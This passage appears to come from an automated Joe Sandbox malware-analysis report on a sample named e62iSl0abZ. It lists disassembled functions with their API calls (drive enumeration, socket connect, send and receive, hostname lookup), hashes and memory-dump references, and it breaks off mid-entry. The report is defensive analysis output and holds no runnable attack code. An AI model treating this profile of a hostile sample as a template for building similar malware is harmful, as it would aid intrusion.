                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: d3036e1bbdda29b34f837c21b02dd863df2ce56e81858cd622022db0997ffa8f
                                                            • Instruction ID: 066e96861cd2948ffd528972acb2ed0a49312c54310f929f61c63a983b7e6e64
                                                            • Opcode Fuzzy Hash: d3036e1bbdda29b34f837c21b02dd863df2ce56e81858cd622022db0997ffa8f
                                                            • Instruction Fuzzy Hash: 323158E7718214EFB20E809556517FA2BEEDBD7330F3080E5B64FCBB01E9A06D4A4121
                                                            Function 07340C52 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 135COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: 6a7854035c1bc06cb23f1f2b393380c99a104ce205b8c77bd2e29040c51661a2
                                                            • Instruction ID: 17f6e77c512a74bd5dffb9a900cda6a8cadc60f7a4971473e9b910164286f5bb
                                                            • Opcode Fuzzy Hash: 6a7854035c1bc06cb23f1f2b393380c99a104ce205b8c77bd2e29040c51661a2
                                                            • Instruction Fuzzy Hash: 103138E772C215EFB21E809157406FA2AEEDBD7230F3080E6B64FDBA01E9A06D494121
                                                            Function 07340CF1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 135COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID: A:\
                                                            • API String ID: 999431828-3379428675
                                                            • Opcode ID: 612e3524ee3916418a09efe6cfb7a08fa07f870e9ab396652dae72fc21089cf9
                                                            • Instruction ID: efcfc8192a69911cada09418b048af17563ef79461fd0bf7284a623ff3b72676
                                                            • Opcode Fuzzy Hash: 612e3524ee3916418a09efe6cfb7a08fa07f870e9ab396652dae72fc21089cf9
                                                            • Instruction Fuzzy Hash: D73149F7718255EFB61E449506406FA3EDEDBC3230F3080E6B24BCB641E5A0AD494661
                                                            Function 006178B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: closesocket
                                                            • String ID: FD %s:%d sclose(%d)
                                                            • API String ID: 2781271927-3116021458
                                                            • Opcode ID: c088b37a4b015f4fada35eeac1cc662b85b056c349cef11165ce221103e0d6af
                                                            • Instruction ID: fd0fd671763ef02ae6795258bda63259e31f44fd040a37b14a0fe08a06739068
                                                            • Opcode Fuzzy Hash: c088b37a4b015f4fada35eeac1cc662b85b056c349cef11165ce221103e0d6af
                                                            • Instruction Fuzzy Hash: 3FD05E32A092212B85206999AC48C9B6BE9DDC6F60B0A0CA9F94077214E1309D4183F2
                                                            Function 006DB060 Relevance: 3.0, APIs: 2, Instructions: 48networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • connect.WS2_32(-00000028,-00000028,-00000028,-00000001,-00000028,?,-00000028,006DB29E,?,00000000,?,?), ref: 006DB0BA
                                                            • WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,00000000,0000000B,?,?,006C3C41,00000000), ref: 006DB0C1
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: ErrorLastconnect
                                                            • String ID:
                                                            • API String ID: 374722065-0
                                                            • Opcode ID: 71e0cbb69bdffe334abe96efb509c34978bf9a216abafb6d92e3d541819f472a
                                                            • Instruction ID: 1c7092da2295b41a7c58a1b6abcdd1986f9f16e4d4854fbd5ce82b006d181b70
                                                            • Opcode Fuzzy Hash: 71e0cbb69bdffe334abe96efb509c34978bf9a216abafb6d92e3d541819f472a
                                                            • Instruction Fuzzy Hash: 1901D836704200DBCB205A688C84FABB39AFF8D364F150759F978973D1D726ED508752
                                                            Function 006C4950 Relevance: 1.7, APIs: 1, Instructions: 170networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • gethostname.WS2_32(00000000,00000040), ref: 006C4AA5
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: gethostname
                                                            • String ID:
                                                            • API String ID: 144339138-0
                                                            • Opcode ID: f026249f344687510be8987fc05cd97b0bce7c429d594a24f1cbf776998ff00b
                                                            • Instruction ID: 30f57262688b7a330d0b6d6404d8ae5c0ec5235f45a7c4c4d282c41cb7d7df30
                                                            • Opcode Fuzzy Hash: f026249f344687510be8987fc05cd97b0bce7c429d594a24f1cbf776998ff00b
                                                            • Instruction Fuzzy Hash: 6D51BA70A043018BE730DB65D969BB776E6EF41328F04082DE98A8A791EF75EC44CA12
                                                            Function 07340CDE Relevance: 1.6, APIs: 1, Instructions: 113COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID:
                                                            • API String ID: 999431828-0
                                                            • Opcode ID: 8f884af2d744b8820b9b487b5dcaa2e3296295e897a79f094a5c3de7b7d9c9e1
                                                            • Instruction ID: 48ecfa4da94e2fe8b69e36f3c6553dea15edf9d1c43106ad99bc591586ea273c
                                                            • Opcode Fuzzy Hash: 8f884af2d744b8820b9b487b5dcaa2e3296295e897a79f094a5c3de7b7d9c9e1
                                                            • Instruction Fuzzy Hash: 322137E771C215EEB20E949556447FB2ADED7D3230F7084E5B60BCB605F590AD4A4121
                                                            Function 07340CCD Relevance: 1.6, APIs: 1, Instructions: 110COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID:
                                                            • API String ID: 999431828-0
                                                            • Opcode ID: 1938a1436fdf1656fdf2ae155c04633cdbe7db8cb21fea6ed8c131a3ac4c43c8
                                                            • Instruction ID: d1e80f8e8d1906832b93ff7f38448a6b116bd1ef192c1a1ff844cddbab792363
                                                            • Opcode Fuzzy Hash: 1938a1436fdf1656fdf2ae155c04633cdbe7db8cb21fea6ed8c131a3ac4c43c8
                                                            • Instruction Fuzzy Hash: 9B2137E771C215EEB20E949556406FA2AEED7D3230F30C0E6B60BCBA05E590AD4A4222
                                                            Function 07340D28 Relevance: 1.6, APIs: 1, Instructions: 98COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID:
                                                            • API String ID: 999431828-0
                                                            • Opcode ID: ca50e70cc82025df57d763d1468ca38d6068f7270b05757ce183fd2153633384
                                                            • Instruction ID: da965101533295bc6fcb1cd108ce851181178c1c9c330c349f60f15eb074ea62
                                                            • Opcode Fuzzy Hash: ca50e70cc82025df57d763d1468ca38d6068f7270b05757ce183fd2153633384
                                                            • Instruction Fuzzy Hash: 8B113AE7718255EFB20E909116407FB2ADEDBD3230F70C0E5B50BCB606E590AD4A4231
                                                            Function 07340D3B Relevance: 1.6, APIs: 1, Instructions: 89COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetLogicalDrives.KERNELBASE ref: 07340D62
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1798241972.0000000007340000.00000040.00001000.00020000.00000000.sdmp, Offset: 07340000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7340000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: DrivesLogical
                                                            • String ID:
                                                            • API String ID: 999431828-0
                                                            • Opcode ID: 23d12459da171ed21d274d170d961d41b6400fb45e2d06250ca548c727409539
                                                            • Instruction ID: 65c195cc3f57dbc281eae9c7461d0be60fba7c510f3ff558c237a81e85fdff6a
                                                            • Opcode Fuzzy Hash: 23d12459da171ed21d274d170d961d41b6400fb45e2d06250ca548c727409539
                                                            • Instruction Fuzzy Hash: 12117FE7718204EFF20E506012007FA2A9EDBD3230F7080F5B11BCB605E5909D554221
                                                            Function 006DAF70 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • getsockname.WS2_32(?,?,00000080), ref: 006DAFD1
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: getsockname
                                                            • String ID:
                                                            • API String ID: 3358416759-0
                                                            • Opcode ID: 328f5c2e6b15cd34dc12bd5a186a95a21dc2e668cb4e310fe4c067a362a20d1c
                                                            • Instruction ID: af4773bea213b294bbe72f70606acd574d6aae564e3cd46d5f094ed3e23c3b2a
                                                            • Opcode Fuzzy Hash: 328f5c2e6b15cd34dc12bd5a186a95a21dc2e668cb4e310fe4c067a362a20d1c
                                                            • Instruction Fuzzy Hash: AB11967080C785D5EB268F59D4027F6B3F4EFD0329F109A19E5D942250F7369AC68BC2
                                                            Function 006DA920 Relevance: 1.5, APIs: 1, Instructions: 44networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • send.WS2_32(?,?,?,00000000,00000000,?), ref: 006DA97F
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: send
                                                            • String ID:
                                                            • API String ID: 2809346765-0
                                                            • Opcode ID: 45913b04770e865127579e92ab84316bee9bf592adc04b8023f91f6a9c9dd460
                                                            • Instruction ID: 5e8f357c4242b56cc19ba7c80f3d6eb98854e990604665ccb275f1bb190f16a4
                                                            • Opcode Fuzzy Hash: 45913b04770e865127579e92ab84316bee9bf592adc04b8023f91f6a9c9dd460
                                                            • Instruction Fuzzy Hash: E201A771B107109FD6148F64D845B56B7A5EF84720F0A8559F9982B361C331AC108BE1
                                                            Function 006DA8C0 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • recvfrom.WS2_32(?,?,?,00000000,00001001,?,?,?,?,?,006C712E,?,?,?,00001001,00000000), ref: 006DA90C
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: recvfrom
                                                            • String ID:
                                                            • API String ID: 846543921-0
                                                            • Opcode ID: a2756d7f40283bf52c146a4d921b157e35aed770fcb4fed0eba312ec0b6e3d21
                                                            • Instruction ID: 9fa9dbebf0cc46173cf0bedd3b1dcc41a0bd8384b9c91d23a00f518aa8f0677f
                                                            • Opcode Fuzzy Hash: a2756d7f40283bf52c146a4d921b157e35aed770fcb4fed0eba312ec0b6e3d21
                                                            • Instruction Fuzzy Hash: BFF06D75119308AFD2209E41DC44DBBBBEDEFC9754F05456DF948233118270AE10CAB2
                                                            Function 006DAF30 Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • socket.WS2_32(?,006DB280,00000000,-00000001,00000000,006DB280,?,?,00000002,00000011,?,?,00000000,0000000B,?,?), ref: 006DAF66
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: socket
                                                            • String ID:
                                                            • API String ID: 98920635-0
                                                            • Opcode ID: 752c245985f7983fb11f1008da410f636052939cf26da4eba90ba6731c6f69df
                                                            • Instruction ID: 489b17d3d9786c6c9c7cb4cb124f78a871e5aba690cde228a4e7ad04c04d3e36
                                                            • Opcode Fuzzy Hash: 752c245985f7983fb11f1008da410f636052939cf26da4eba90ba6731c6f69df
                                                            • Instruction Fuzzy Hash: 5DE0E5B2E092216BD6549F58E8449ABF369EFC4B10F054A4ABC5463304C334AC5087E2
                                                            Function 006DB020 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • closesocket.WS2_32(?,006D9422,?,?,?,?,?,?,?,?,?,?,?,w3l,00AA4C60,00000000), ref: 006DB04C
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795649109.0000000000CEC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000E6E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F83000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000000F89000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001068000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795666263.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796064025.0000000001080000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796178628.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1796196746.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_610000_e62iSl0abZ.jbxd
                                                            Similarity
                                                            • API ID: closesocket
                                                            • String ID:
                                                            • API String ID: 2781271927-0
                                                            • Opcode ID: 3d7c2b9b32d9bdebfdb8e3eb43c69946662218c60738f9af9e53b4beb132bf3e
                                                            • Instruction ID: 806223a40fa1f962ba6abb7194922f5a47696916f619a9198df5a1c21e2ccf60
                                                            • Opcode Fuzzy Hash: 3d7c2b9b32d9bdebfdb8e3eb43c69946662218c60738f9af9e53b4beb132bf3e
                                                            • Instruction Fuzzy Hash: 3BD0C230B0020097CA208A14C884A9B736B7FD4710F2ACB68E42C4A358D73BCC438601
                                                            Function 006767E0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • ioctlsocket.WS2_32(?,8004667E,?,?,0064AF56,?,00000001), ref: 006767FC
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1795185194.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true
                                                            • Associated: 00000000.00000002.1795156490.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpDownload File
